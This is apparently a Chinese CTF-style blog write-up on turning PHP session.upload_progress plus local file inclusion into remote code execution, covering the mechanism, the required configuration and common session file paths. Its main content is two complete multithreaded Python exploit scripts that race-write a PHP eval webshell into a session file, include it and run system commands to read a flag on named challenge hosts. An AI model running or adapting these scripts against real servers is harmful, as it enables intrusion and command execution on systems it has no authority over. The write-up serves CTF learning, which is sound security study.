PHP_session_upload_progress+LFI to RCE

  1. 1. 前言
  2. 2. what is session.upload_progress
  3. 3. 利用条件
  4. 4. 利用
  5. 5. 参考

前言

遇到php session文件包含很多次了,这里针对session.upload_progress + LFI实现RCE 做一个梳理.

当时session.upload_progress还可以用来反序列化, 不过原理都是通过这个文件上传进度调来操作session文件.

别的利用可以参考: 利用session.upload_progress进行文件包含和反序列化渗透

what is session.upload_progress

  • session.upload_progress 是PHP5.4之后引入的.

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

官方文档讲了一堆也没怎么看懂.

具体的进度条实现

upload.php

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_FILES['demo'])){
$tmp=explode(".",$_FILES['demo']['name']);
$suffix_name = end($tmp);
$name = time().".".$suffix_name;
$path = __DIR__."\\".$name;
move_uploaded_file($_FILES['demo']['tmp_name'],$path);
echo "upload success";
}else{
echo "error";
}

progress.php

1
2
3
4
5
6
7
8
9
10
<?php
session_start();
$key = ini_get("session.upload_progress.prefix") . $_GET["key"]; // upload_progress_key
if (!empty($_SESSION[$key])) {
$current = $_SESSION[$key]["bytes_processed"];
$total = $_SESSION[$key]["content_length"];
echo $current < $total ? ceil($current / $total * 100) : 100;
}else{
echo 100;
}

ajax请求progress.php即可.

1
2
3
4
5
6
7
<script>
function fetch_progress(){
$.get('progress.php',{"key":"file1"}, function(data){
// ...
});
}
</script>

上传表单:

1
2
3
4
5
6
7
8
9
10
11
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="file1" />
<div class="form-group">
<div>
<input type="file" name="demo" >
</div>
<div>
<button type="submit" class="btn btn-primary btn-sm">上传文件</button>
</div>
</div>
</form>

借助上面这个例子就可以理解一些变量值.

  • session.upload_progress.prefix : 一般默认是upload_progress_
  • key : 文件上传的时候多上传一个PHP_SESSION_UPLOAD_PROGRESS参数, key是它的value值.

后端$_FILES[‘demo’] 是表单里的name值.

  • upload_progress_xxxx拼接得到. 作为session的key存在session里.(session文件 sess_sessid)

至于session文件的内容大致如下: (图来自@orange师傅)

img

PHPsession内容默认进行序列化存储,默认引擎是php.也就是图片中的这种格式.

按照序列化的方式存储. 其中PHP_SESSION_UPLOAD_PROGRESS的value会和upload_progress拼接作为session的key存储.

除了session key,session value部分也存在可控部分. 整个存储的数组结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

其中files数组中的field_name和name的value也可控

注意数组结构里面还有tmp_name.

通过包含session文件得到临时文件名再获得tmp文件的位置然后再getshell的思路不知道是否可行.

利用条件

几个重要配置:

1
2
3
4
5
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.use_strict_mode=off // 默认为off,表示对Cookie中的sessid可控

sessid 的有效值: a-z, A-Z, 0-9 - ,

利用条件是

  1. session文件路径已知
  • session.use_strict_mode=off
  • session文件常见存储路径
1
2
3
4
5
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
C:\WINDOWS\Temp

这个路径从phpinfo读(session.save_path)或者直接猜测默认路径

  1. session.upload_progress.enabled = on
  2. 上传文件足够大.
  3. php>5.4

more about session.use_strict_mode:

即使代码中没有session_start(), session.use_strict_mode=0的配置下用户可以自定义session id, 服务器也会在session的存储路径自动创建一个session文件.

利用

需要多线程脚本跑:

(session.upload_progress.cleanup=on会自动清除文件)

贴两个脚本:(第一个好理解点,第二个效率更高.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
# @author:lonmar
# 把文件内容填充到session文件(二进制文件)

import requests
import threading

HOST = "http://111.186.59.2:50080/"

# headers sessid
headers = {
'Connection':'close',
'Cookie':'PHPSESSID=l0nm4r'
}

# 目标文件payload
f = open('1.zip','rb')
payload = f.read()
# @<?php @eval($_GET['cmd']);echo "success!";?>
padding = b'a'*(8000000-1)
f.close()

# POST data
data={
'PHP_SESSION_UPLOAD_PROGRESS':payload,
}

# GET data
params = {
"yxxx":"zip:///tmp/sess_l0nm4r#1",
"cmd":"system('ls / -l;ls /dd810fc36330c200a_flag -l;cat /dd810fc36330c200a_flag/flag;');",
}

# file upload
# 携带sessid和PHP_SESSION_UPLOAD_PROGRESS
def run():
while True:
requests.post(url=HOST,files={"file":("filename",padding)},data=data,headers=headers)

for i in range(10):
T = threading.Thread(target=run,args=())
T.start()


# file include
while True:
res = requests.get(url=HOST,params=params)
if 'success' in res.text:
print(res.text)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

HOST = 'http://7920d625-4983-43eb-9d4f-335e57303fd0.chall.ctf.show/'

# headers sessid
headers = {
'Connection':'close',
'Cookie':'PHPSESSID=l0nm4r'
}

# POST data
payload = "<?php @eval($_GET['cmd']);echo 'success!';?>"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload,
}

padding = io.BytesIO(b'a' * 1024 * 50)

# file upload
def write(session):
while event.isSet():
response = session.post(url=HOST,data=data,files={'file': ('filename', padding)},headers=headers)


# file include
def read(session):
while event.isSet():
response = session.get(url=HOST + '?file=/tmp/sess_{}'.format('l0nm4r'))
if 'success' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

参考

https://tgaout.github.io/2019/05/29/%E5%88%A9%E7%94%A8session-upload-progress%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B8%97%E9%80%8F/

https://ca01h.top/Web_security/php_related/13.session.upload_progress+LFI%E5%AE%9E%E7%8E%B0RCE/